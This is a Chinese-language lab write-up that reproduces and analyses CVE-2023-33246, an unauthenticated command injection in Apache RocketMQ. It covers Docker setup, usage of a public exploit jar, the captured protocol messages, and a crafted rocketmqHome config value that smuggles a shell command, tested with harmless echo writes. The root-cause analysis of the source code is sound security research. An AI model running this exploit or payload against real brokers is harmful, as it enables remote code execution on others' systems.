CVE-2023-33246 Apache RocketMQ 命令注入漏洞复现及分析
0x0.威胁情报:
漏洞编号 | CVE编号 | CVE-2023-33246 |
---|---|---|
漏洞评估 | 危害评级 | 高危 |
漏洞类型 | RCE | |
公开程度 | PoC已公开 | |
利用条件 | 1.在受影响版本内 | |
威胁类型 | 远程 | |
利用情报 | 在野利用 | 无 |
漏洞活跃度 | 中 | |
影响产品 | 产品名称 | Apache RocketMQ |
受影响版本 | 5.x <= 5.1.0 及 4.x<=4.9.6 | |
影响范围 | 中 | |
有无修复补丁 | 有 |
参考
https://lists.apache.org/thread/s78r8lw08xtvh1ojvo65p0f4jyo9lt7v
0x1.复现环境搭建:
0x10 Apache RocketMQ的应用组网
如上图所示Apache RocketMQ 应用组网中 核心部分包括 NameServer 节点/集群,用于运维管理。Broker节点/集群用户核心的消息订阅发送逻辑。Producer是消息数据的产生方,Consumer小消息的接收方。同时可以扩展部属console节点用于提供Web管理界面。
0x101 Windows10 Docker环境准备
(略 网上下载无脑装就好了)
0x102 Apache RocketMQ 4.91 Docker 环境安装
- 下载镜像:
docker pull apache/rocketmq:4.9.1
docker pull apacherocketmq/rocketmq-console:2.0.0
- 启动broker、namesrv、console(可选):
mqsrv绑定网口IP写host文件
- 启动namesrv
docker run -dit -p 9876:9876 -p 10909:10909 --name mqsrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv /bin/bash
- 启动broker
docker run -dit -p 10908:10908 -p 10911:10911 --name mqbroker --restart=always --link mqsrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /home/rocketmq/rocketmq-4.9.1/conf/broker.conf
- 启动console
docker run -dit --name mqconsole -p 8080:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=mqsrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0
- 启动完成后效果:
如上图所示NameServer 节点关键端口 9876;Broker节点关键端口10911
参考: https://github.com/yizhimanpadewoniu/CVE-2023-33246-Copy
0x2.EXP漏洞复现:
0x21 EXP来源:
https://github.com/SuperZero/CVE-2023-33246
0x22 使用方式:
java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "注入的命令"
0x23 实战复现:
由于Docker环境下支持的命令很少,目前通过注入echo命令,写文件的方式证明漏洞的存在
D:\Software\CVE-2023-33246-main>java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "echo 11 > /tmp/1"
D:\Software\CVE-2023-33246-main>java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "echo 11 > /tmp/2"
注入后查看Broker节点的文件:
如上图所示 文件 已经写入 /tmp目录下,表明注入漏洞的存在。
0x3.成因分析:
漏洞形成的原因很传统:1.提供无加密与鉴权的不安全服务;2.对于用户输入的检查与过滤不足。
0x31 根因1:无鉴权、无加密的不安全服务:
从 EXP的日志来看,EXP做了两次交互,第1次是和NameSever 9876端口的交互,获取注册 Broker的信息,第二次是和Broker的交互,发送配置信息
EXP与NameServer的交互:
{“code”:105,“extFields”:{“topic”:“TBW102”},“flag”:0,“language”:“JAVA”,“opaque”:1,“serializeTypeCurrentRPC”:“JSON”,“version”:395}
返回如下注册Broker数据:
{“brokerDatas”:
[
{“brokerAddrs”:{0:“172.17.0.4:10911”},
“brokerName”:“broker-a”,
“cluster”:“DefaultCluster”}],
“filterServerTable”:{},
“queueDatas”:[{“brokerName”:“broker-a”,“perm”:7,“readQueueNums”:8,“topicSysFlag”:0,“writeQueueNums”:8} ]}
可见,EXP可以仿冒Console节点,访问NameServer节点获取注册 Broker数据,而不需任何鉴权,且数据明文传输。
EXP与Broker的交互:
如上图所示,EXP仿冒NameServer向Broker发送配置修改数据,修改 **rocketmqHome 函数,**同时配置参数中拼接了操作系统命令:
{“code”:25,“flag”:0,“language”:“JAVA”,“opaque”:0,“serializeTypeCurrentRPC”:“JSON”,“version”:395}filterServerNums=1 rocketmqHome=-c $@|sh . echo echo 11 > /tmp/3;
从EXP源码看:
源码整个过程非常简单,先生成 DefaultMQAdminExt 实力以及调用 updateBrokerConfig方法的关键过程中,均无任何鉴权凭证的的输入,属于未授权访问范畴。
0x31 根因2:ApacheRocketMQ 后端验证不足及高危函数调用:
- 从日志着手
如上图所示**,CallShell**这个函数十分辣眼睛,渗透同学很容易联想到了,操作系统 Bash命令调用。
- https://rocketmq.apache.org/download/ 下载 ApacheRocketMQ 4.9.1源码进行分析:
从请求消息中提取配置:
关键调用processRequest()-> updateBrokerConfig() -->getConfiguration()–>update():
从这些配置处理过程中,并没有看到对于配置参数合法性的检查和过滤
提取配置,并组装命令执行:
如上图所示,对于cmdArray传递过来的参数,没有任何的检查和过滤,直接调用exec进行执行。